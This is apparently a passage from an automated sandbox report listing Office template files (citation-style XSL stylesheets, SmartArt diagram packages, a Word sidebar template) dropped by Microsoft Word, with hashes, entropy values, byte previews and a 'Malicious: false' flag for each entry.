C:\Users\user\AppData\Local\Temp\TCDDB0E.tmp\turabian.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Local\Temp\TCDDB10.tmp\BracketList.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Local\Temp\TCDDB10.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	3.4916022431157345
Encrypted:	false
SSDEEP:	6:fxnxUXsAl8xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8A8xoGHmD0+dAH/luWvv
MD5:	1A314B08BB9194A41E3794EF54017811
SHA1:	D1E70DB69CA737101524C75E634BB72F969464FF
SHA-256:	9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379
SHA-512:	AB29C8674A85711EABAE5F9559E9048FE91A2F51EB12D5A46152A310DE59F759DF8C617DA248798A7C20F60E26FBB1B0FC8DB47C46B098BCD26CF8CE78989ACA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.r.a.c.k.e.t.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB22.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.5026803317779778
Encrypted:	false
SSDEEP:	6:fxnxUXC89ADni8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyf9ADiNGHmD0wbnKYZAH/lMZqiv
MD5:	A0D51783BFEE86F3AC46A810404B6796
SHA1:	93C5B21938DA69363DBF79CE594C302344AF9D9E
SHA-256:	47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F
SHA-512:	CA3DB5A574745107E1D6CAA60E491F11D8B140637D4ED31577CC0540C12FDF132D8BC5EBABEA3222F4D7BA1CA016FF3D45FE7688D355478C27A4877E6C4D0D75
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.t.i.t.l.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDB22.tmp\gosttitle.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDDB28.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4845992218379616
Encrypted:	false
SSDEEP:	6:fxnxUXQFoElh/lE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8lLGHmD0+dAH/luWvv
MD5:	E8B30D1070779CC14FBE93C8F5CF65BE
SHA1:	9C87F7BC66CF55634AB3F070064AAF8CC977CD05
SHA-256:	2E90434BE1F6DCEA9257D42C331CD9A8D06B848859FD4742A15612B2CA6EFACB
SHA-512:	C0D5363B43D45751192EF06C4EC3C896A161BB11DBFF1FC2E598D28C644824413C78AE3A68027F7E622AF0D709BE0FA893A3A3B4909084DF1ED9A8C1B8267FCA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .H.e.x.a.g.o.n.R.a.d.i.a.l...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB28.tmp\HexagonRadial.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	6024
Entropy (8bit):	7.886254023824049
Encrypted:	false
SSDEEP:	96:bGa2onnLYHTSSxpHVTSH1bywZKmpRqiUtFvS9xrPooBpni6eDa16MUELHsrKjRBA:SJonLYzSSr1TuZNwtFZKpiiyrKXuCUd
MD5:	20621E61A4C5B0FFEEC98FFB2B3BCD31
SHA1:	4970C22A410DCB26D1BD83B60846EF6BEE1EF7C4
SHA-256:	223EA2602C3E95840232CACC30F63AA5B050FA360543C904F04575253034E6D7
SHA-512:	BDF3A8E3D6EE87D8ADE0767918603B8D238CAE8A2DD0C0F0BF007E89E057C7D1604EB3CCAF0E1BA54419C045FC6380ECBDD070F1BB235C44865F1863A8FA7EEA
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........2..<..]#.....'......diagrams/layout1.xml.].r.8...V.;0.;..aO........{.....V..3].d{..............\. .#.t... ........x<...@7o.]..7.N..@.NF..../....S.../.xC..U...<..Q.=...\|..v.....cQ..Y=.....i`.. ..?.;...Go....x.O.$....7s..0..qg....\|..r..l.w.a..p.3.Em7v...N............3..7...N.\\..f...9...U$..7...k.C..M.@\.s....G/..?...I...t.Yos...p..z...6.lnqi.6..<..1qg+......#]....\|C/N..K\}.....#..".

C:\Users\user\AppData\Local\Temp\TCDDB3B.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.4871192480632223
Encrypted:	false
SSDEEP:	6:fxnxUXsdDUaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyoRw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	333BA58FCE326DEA1E4A9DE67475AA95
SHA1:	F51FAD5385DC08F7D3E11E1165A18F2E8A028C14
SHA-256:	66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097
SHA-512:	BFEE521A05B72515A8D4F7D13D8810846DC60F1E85C363FFEBD6CACD23AE8D2E664C563FC74700A4ED4E358F378508D25C46CB5BE1CF587E2E278EBC22BB2625
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .m.l.a.s.e.v.e.n.t.h.e.d.i.t.i.o.n.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDB3B.tmp\mlaseventheditionofficeonline.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Local\Temp\TCDDB52.tmp\CircleProcess.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Local\Temp\TCDDB52.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4720677950594836
Encrypted:	false
SSDEEP:	6:fxnxUXOu9+MlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnycMlWlzGHmD0+dAH/luWvv
MD5:	D04EC08EFE18D1611BDB9A5EC0CC00B1
SHA1:	668FF6DFE64D5306220341FC2C1353199D122932
SHA-256:	FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9
SHA-512:	97EBCCAF64FA33238B7CFC0A6D853EFB050D877E21EE87A78E17698F0BB38382FCE7F6C4D97D550276BD6B133D3099ECAB9CFCD739F31BFE545F4930D896EEC3
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.l.e.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB53.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	3.5414485333689694
Encrypted:	false
SSDEEP:	6:fxnxUX8FaE3f8AWqlQqr++lcWimqnKOE3QepmlJ0+3FbnKfZObdADryMluxHZypo:fxnyj9AWI+acgq9GHmD0wbnKYZAH/lMf
MD5:	2F7A8FE4E5046175500AFFA228F99576
SHA1:	8A3DE74981D7917E6CE1198A3C8E35C7E2100F43
SHA-256:	1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363
SHA-512:	4B8FBB692D91D88B584E46C2F01BDE0C05DCD5D2FF073D83331586FB3D201EACD777D48DB3751E534E22115AA1C3C30392D0D642B3122F21EF10E3EE6EA3BE82
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.e.x.t. .S.i.d.e.b.a.r. .(.A.n.n.u.a.l. .R.e.p.o.r.t. .R.e.d. .a.n.d. .B.l.a.c.k. .d.e.s.i.g.n.)...d.o.c.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDB53.tmp\Text Sidebar (Annual Report Red and Black design).docx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Local\Temp\TCDDB56.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.484503080761839
Encrypted:	false
SSDEEP:	6:fxnxUXGdQ1MecJZMlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny2dQ98MlWlzGHmD0+dAH/luWvv
MD5:	1309D172F10DD53911779C89A06BBF65
SHA1:	274351A1059868E9DEB53ADF01209E6BFBDFADFB
SHA-256:	C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56
SHA-512:	31B38AD2D1FFF93E03BF707811F3A18AD08192F906E36178457306DDAB0C3D8D044C69DE575ECE6A4EE584800F827FB3C769F98EA650F1C208FEE84177070339
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.t.e.r.c.o.n.n.e.c.t.e.d.B.l.o.c.k.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB56.tmp\InterconnectedBlockProcess.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Local\Temp\TCDDB67.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.523917709458511
Encrypted:	false
SSDEEP:	6:fxnxUXC1l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnySvNGHmD0wbnKYZAH/lMZqiv
MD5:	4A9A2E8DB82C90608C96008A5B6160EF
SHA1:	A49110814D9546B142C132EBB5B9D8A1EC23E2E6
SHA-256:	4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7
SHA-512:	320B9CC860FFBDB0FD2DB7DA7B7B129EEFF3FFB2E4E4820C3FBBFEA64735EB8CFE1F4BB5980302770C0F77FF575825F2D9A8BB59FC80AD4C198789B3D581963B
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.i.c.a.g.o...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDB67.tmp\chicago.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDDB68.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5039994158393686
Encrypted:	false
SSDEEP:	6:fxnxUX4f+E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvGHmD0+dAH/luWvv
MD5:	16711B951E1130126E240A6E4CC2E382
SHA1:	8095AA79AEE029FD06428244CA2A6F28408448DB
SHA-256:	855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9
SHA-512:	454EAA0FD669489583C317699BE1CE5D706C31058B08CF2731A7621FDEFB6609C2F648E02A7A4B2B3A3DFA8406A696D1A6FA5063DDA684BDA4450A2E9FEFB0EF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.b.e.d.A.r.c...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB68.tmp\TabbedArc.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
